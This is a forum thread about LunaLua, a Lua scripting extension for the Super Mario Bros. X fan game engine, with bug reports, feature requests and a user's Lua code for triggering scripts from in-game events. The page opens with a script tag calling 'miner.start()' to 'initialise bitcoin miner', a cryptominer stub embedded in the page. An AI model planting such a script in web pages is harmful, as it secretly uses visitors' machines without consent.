<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitymario fan games galaxyirc.cat.bio

LunaLua Offical Thread

The second SMBX collab!

Shall I stream some LunaLua live development?

Yes
23
92%
No
2
8%
 
Total votes: 25

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote:Oh, jeez, my bad! cinematX is what I decided to call the library/API, so all of the management functions are -- or at least should be -- in there. It's up on the drive now, but fair warning, it's probably broken/incomplete. I'll edit this post with more info in a bit.
That's fair. I wouldn't expect it to be complete yet by any standards! You're working incredibly fast as it is (reminds me of me when I set my mind to something :P ). I'm glad someone is doing this, though. SMBX has needed just this for far too long. I'll just wait for the drive to update than download it and sort it there.
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote: Okay, between the files on gdrive and the old pastebin you should have everything now. I really don't want to leave you with such a broken mess but I ended up spending all day writing the responses on the talkhaus and now I have just under 12 hours to finish and submit my comp sci homework >_<
Don't mind that, I'll cope. It doesn't seem to have updated the file on the drive, though, which is odd.
Image
Image
Image
Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 517
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

Oh, one two three last things!

- I started working on converting a sprite font I grabbed from OpenGameArt over to an SMBX spritesheet so if we do get a direct draw function then I could theoretically set up a variable-size character-by-character text rendering system to replace printText. Because I am stupid or crazy or perhaps both. Also I've done it twelve times before in GameMaker. I'll put that file up whenever I get around to finishing it.

- I started working on the SMW constants earlier today but with all the jumping around between threads I haven't finished that. Gonna go ahead and submit the edit to that earlier post now, I'll get back to it tomorrow.

- https://drive.google.com/folderview?id= ... sp=sharing
Arright, that's the link to the actual folder this time, not the individual files. Sorry again! :oops:
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Rockythechao wrote:Oh, one two three last things!

- I started working on converting a sprite font I grabbed from OpenGameArt over to an SMBX spritesheet so if we do get a direct draw function then I could theoretically set up a variable-size character-by-character text rendering system to replace printText. Because I am stupid or crazy or perhaps both. Also I've done it twelve times before in GameMaker. I'll put that file up whenever I get around to finishing it.
A direct draw function would be amazing. I could probably write a 3D renderer if we had access to one of those.
Rockythechao wrote: - https://drive.google.com/folderview?id= ... sp=sharing
Arright, that's the link to the actual folder this time, not the individual files. Sorry again! :oops:
Ah, awesome, thanks!

EDIT: I'm going to be sleeping momentarily, but I thought you should know that this seems to complain heavily about lApiLib, claiming it is nil (and, by perusing the code available, I'm afraid I have to agree. It doesn't appear to be defined anywhere). On top of this, onLoadSection# appears to do nothing.
Image
Image
Image
Image

User avatar
Rockythechao
Shapemorph the titlecard into the video, Hoeloe
Posts: 517
Joined: 3 years ago
First name: Michael
Pronouns: he/him/his
Location: Yes

Re: Presenting: Lunadll for Lua!

Postby Rockythechao » 3 years ago

I have way too many never enough talkhaus tabs open. Last post tonight for reals maybe

Rendering 3D stuff in SMBX would be amazing. Yeah, with direct drawing stuff we could do all sorts of cool stuff, and the thing is that the functionality's already in LunaDLL for rendering custom sprites. I mean, it's not quite as straightforward as drawing in, say, GameMaker, but from what I've gathered device contexts seem to work similarly to GM's surfaces. Freaking heck, Rocky, control your hype!

The mentions of lApiLib are left over from back when I tried to stuff everything into lapi.lua, so just change those to cinematX and it should be slightly less broken than before.
Last edited by Rockythechao on 11 Oct 2014, 02:06, edited 1 time in total.
I am fairly involved in A2XT's development as a content creator, wiki contributor and programmer, but I am not the project lead nor am I responsible for half the things people keep attributing to me lol

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Tumblr, SoundCloud

Image

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

I wish you guys wouldn't base your whole system on the buggy placesprite function which is so unfinished I probably shouldn't have even told anyone it was there. I was working on something better for displaying bitmaps. Also what direct drawing functionality are you guys looking for? Technically, it's not even possible to draw anything to the SMBX device context in the time where lunadll runs normally, so I have it running through a system of queued drawing operations. The way PlaceSprite works is it queues up a bitmap blit operation along with some rendering info, wraps it up and sends it to a rendering list to be drawn later (or else SMBX will just paint over it), except it's not quite 100% finished. If you guys are looking for direct pixel setting stuff then I would suggest getting repo access and making some C wrappers for those operations as they will need to be added to the queue system.

Also a text renderer would be neat. Keep in mind however windows DCs also already support the very standard DrawText winapi function. You could use (or include your own) good old fashioned actual font and it'd all be painless.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
KingTwelveSixteen
? Title Title Title Title ?
Posts: 30
Joined: 7 years ago
Location: USA

Re: Presenting: Lunadll for Lua!

Postby KingTwelveSixteen » 3 years ago

Grr, I've been working on this for like an hour or something and I can't get Demo to correctly jump higher when pressing the jump button. All I can get is a glitchy stupid thing that barely works one out of ten times.
Am I missing something? Is it just not possible because the stupid engine constantly rewrites her speedY value??

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

It's possible. The speed values of objects are really tightly controlled by SMBX. I recall some gravity memory addresses and stuff were found recently, you might have to mess with those instead.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Kil wrote:I wish you guys wouldn't base your whole system on the buggy placesprite function which is so unfinished I probably shouldn't have even told anyone it was there.
I did notice it was buggy when I had a look at how it works. However, it's perfectly useable once you understand how it's buggy. Sure, it's not the neatest system, but it does work.

Oh also, changing lApiLib to cinematX doesn't work. I've been digging, and I can't find the definition of runProcess, which is what lApiLib was supposedly doing. I tried changing it to runCoroutine, which I did fine a definition of, but that doesn't seem to work either.

Hmmm... further digging suggests that the onLoad functions are being problematic. I'm trying to call the coroutine from OnLoadSection#, which doesn't work. I also tried it from OnLoad, which for some reason seems to only call the first few lines, and not the coroutine, or anything else I put in there (such as playMusic). I'm really unsure why this is happening.

Okay. It seems like playMusic doesn't work in onLoad, and nor does calling the function "runIntoCutscene", which starts my cutscene coroutine.

Oh, one other thing - can we get better error handling with LunaLua? It reports errors quite nicely, but half the time it then just crashes the editor. Could some kind of safety be implemented to disregard LunaLua when reporting an error so that this doesn't happen?
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

And another thing. There's a gimmick in this level I'm making that requires me to run some LunaLua code after the player hits a switch (which also calls a regular SMBX event). Is there a function I can use that is called when the player hits a specific block, or when an SMBX event is called?
Image
Image
Image
Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

LunaLua v0.2.7 is out
Changes:
* Added kill function for npcs
* Added function for getting/setting earthquake, gravity and jumpheight.
Hoeloe wrote:Oh, one other thing - can we get better error handling with LunaLua? It reports errors quite nicely, but half the time it then just crashes the editor. Could some kind of safety be implemented to disregard LunaLua when reporting an error so that this doesn't happen?
Since I added lunaworld.lua, I get crashes too. I will investergate further.

Hoeloe wrote:And another thing. There's a gimmick in this level I'm making that requires me to run some LunaLua code after the player hits a switch (which also calls a regular SMBX event). Is there a function I can use that is called when the player hits a specific block, or when an SMBX event is called?
Maybe kil could add a hook for the event trigger function. Other than that it might get difficult.

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

I've looked for a way to detect events starting awhile ago, but didn't have much luck, or I would've added that a long long time ago since it's so useful.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Kevsoft wrote: Maybe kil could add a hook for the event trigger function. Other than that it might get difficult.
Can we at least get lua hooks for all the functions available to LunaDLL now? For example, the BlockTrigger function?
Image
Image
Image
Image

Kil
Posts: 13
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Kil » 3 years ago

You probably want to hook up this function from Blocks.h

bool IsPlayerTouchingType(int BlockType, int sought_collision, PlayerMOB* pMobPOS); // See if player touching block of BlockType
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Kil wrote:You probably want to hook up this function from Blocks.h

bool IsPlayerTouchingType(int BlockType, int sought_collision, PlayerMOB* pMobPOS); // See if player touching block of BlockType
That would probably do it for my needs. I can use other conditions to determine which block is being pressed for my specific use case, just as long as it's the right block ID and collision type.

I recommend putting these different kinds of triggers into LunaLua as soon as possible, as they really do open up what you can do.

In the mean time, I might try and see if I can tell when an NPC is killed, and use the axe NPC to spawn it on the player when I need to hook into LunaLua.
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

I've had an idea as to how to trigger Lua events based on NPC triggers. I think just need to get pointer values (as integers, not as pointers) into Lua from the NPC structure...

EDIT: Damn. Thwarted by SMBX's bizzare structure. My plan was to read out the pointer values for the "death" event on axes NPCs, then, when the length of the array found using "findnpc" is shorter than expected, work out which event pointer was missing, and trigger events based on the pointer location, rather than the data in the pointer itself. This would allow axes to be "tagged" in-game, and used for different purposes in Lua. This is somewhat defeated by the fact that SMBX assigns new pointers for each axe regardless, which makes it totally useless, as it's impossible to determine the difference between them.

Might do a similar thing with layer numbers - would be more reliable.

EDIT: Hmm no, those are stored as a string pointer again, apparently. Hmm... Shame there isn't an unused word in there, I could make use of that...

Might be able to use 0x12E offset... it's unlabelled in the LunaDLL doc, and doesn't appear to do anything. If I set that up segmented by location, then it might just work...

Argh. Turns out getting the length of an array in Lua is a huge pain. This might prove difficult...
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Yeah, looks like that's not going to work. Working with Lua arrays seems to be more of a nightmare than C++ arrays, which is saying something. Just trying to determine if an axe has been collected seems incredibly difficult.

What I MIGHT be able to do though, is check if an axe is spawned... Then I could spawn an axe from SMBX, detect that in Lua, run some code, and despawn it again. It might work.

EDIT: Looks like the function for creating a new RECT structure doesn't work, by the way. It seems to just crash the editor.
Image
Image
Image
Image

User avatar
KingTwelveSixteen
? Title Title Title Title ?
Posts: 30
Joined: 7 years ago
Location: USA

Re: Presenting: Lunadll for Lua!

Postby KingTwelveSixteen » 3 years ago

Kevsoft wrote:LunaLua v0.2.7 is out
Changes:
* Added function for getting/setting earthquake, gravity and jumpheight.
Yeeessss.

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Oh, I have a question about the findnpcs function. Does it return the npcs in any specific order? It appears to be consistent, but I can't trivially see a pattern. How does it find the npcs to list, and what order does it list them in?
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

SUCCESS!

Okay, so what I've done is place an axe NPC (this could actually be any NPC, but the axe works well for this) on a unique hidden layer.

I used some printText debugging to find the location of this NPC, and recorded that in constants in the Lua code.

I also scan all the axe NPCs in the Lua onLoop function, searching for one with the same location as this NPC (which is why I recorded these values). I run some code there (in my case, changing the player character), and then call "kill()" on the npc, to avoid the code being triggered continuously.

Now, all I have to do to run Lua code with a SMBX event trigger, is show the layer containing that NPC! That causes the NPC to be included in the findnpc search, found by the scan, and then killed after the code is run. It's a bit of a pain, as you need to find the exact coordinates of the NPC if you want to use the same one for multiple events (which I recommend for performance), but it works!

EDIT: A nice thing about this is that it also works when the NPC in question is outside the section boundaries. You just need to make sure you know its coordinates.

Here's a video of this in action, using it to change the player character, position and powerup when a switch is flipped (it's still uploading as I'm posting this):

Image
Image
Image
Image

User avatar
Kevsoft
LunaLua Master Developer
Posts: 83
Joined: 3 years ago

Re: Presenting: Lunadll for Lua!

Postby Kevsoft » 3 years ago

Hoeloe wrote:EDIT: Looks like the function for creating a new RECT structure doesn't work, by the way. It seems to just crash the editor.
Do you have the code which crashes the editor?

Hoeloe wrote:Oh, I have a question about the findnpcs function. Does it return the npcs in any specific order? It appears to be consistent, but I can't trivially see a pattern. How does it find the npcs to list, and what order does it list them in?
It is in the order as smbx internally order it.

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Kevsoft wrote: Do you have the code which crashes the editor?

Code: Select all

myRect = RECT()
Kevsoft wrote: It is in the order as smbx internally order it.
Is there any indication of how that is done, or is it unknown?


On another note, I've been refining my trigger system. The position testing it does is now a little more lax, to account for floating point errors. It also fixes some odd bugs by checking the validity tag in the NPC structure (if it's non-zero, the NPC has been spawned). The problem with this is that hiding the layer alone does not reset the trigger (and will continue triggering the event). The solution to this is to manually set the validity tag (offset 0x74) back to 0. SMBX will set it again when the layer next appears, which will trigger the event again.

I am still getting a weird bug where one of the NPCs I spawn in (entirely through SMBX events) seems to shift a few blocks to the right, which is quite a pain. I think this might be something to do with the NPC settings, though.

EDIT: Yup, was just the NPC settings. Have some of my code:

Code: Select all

--Set trigger value for SMBX trigger
TriggerX = -199999.995;
TriggerY = -199999.99;

Code: Select all

local axes = findnpcs(178,-1);
  
  for key,value in pairs(axes) do
	if(withinSquare(value.x, value.y,  TriggerX, TriggerY) and value:mem(0x74,FIELD_WORD) ~= 0) then
--Check if the axe is within one square of where the trigger is, and that it has been spawned
--If so, set player to raocow, move player position, reset player speed and set player powerup
		setPlayerID(4);
		player.x = -199968.985;
		player.y = -200218.01
		player.speedx = 0;
		player.speedy = 0;
		player.powerup = 2;
               --Reset trigger validity to prevent firing repeatedly, and hide the layer
		value:mem(0x74,FIELD_WORD,0);
		triggerEvent("HideTrigger");
	end
  end

Code: Select all

function withinSquare(x,y,sqx,sqy)
	if math.abs(x-sqx) < 32 and math.abs(y-sqy) < 32 then
		return true;
	else
		return false;
	end
end
Image
Image
Image
Image

User avatar
Xirix
The British Palindrome
Posts: 403
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Xirix » 3 years ago

Would it be a simple alteration to use button inputs to change character instead of a block in your example?

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 3 years ago

Xirix wrote:Would it be a simple alteration to use button inputs to change character instead of a block in your example?
For that, you don't even need the SMBX event hook. You can do it all using Lua with the onKeyDown function. This example is mostly a way of demonstrating how to run Lua code triggered by a SMBX event.

Now that I've worked out how to do that, I'm one massive step closer to being able to make my level concept. Now all I need is the cutscene system to work...
Image
Image
Image
Image

User avatar
Xirix
The British Palindrome
Posts: 403
Joined: 8 years ago

Re: Presenting: Lunadll for Lua!

Postby Xirix » 3 years ago

Oh neat, I'll have a little experiment with that function then I guess.


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 2 guests

cron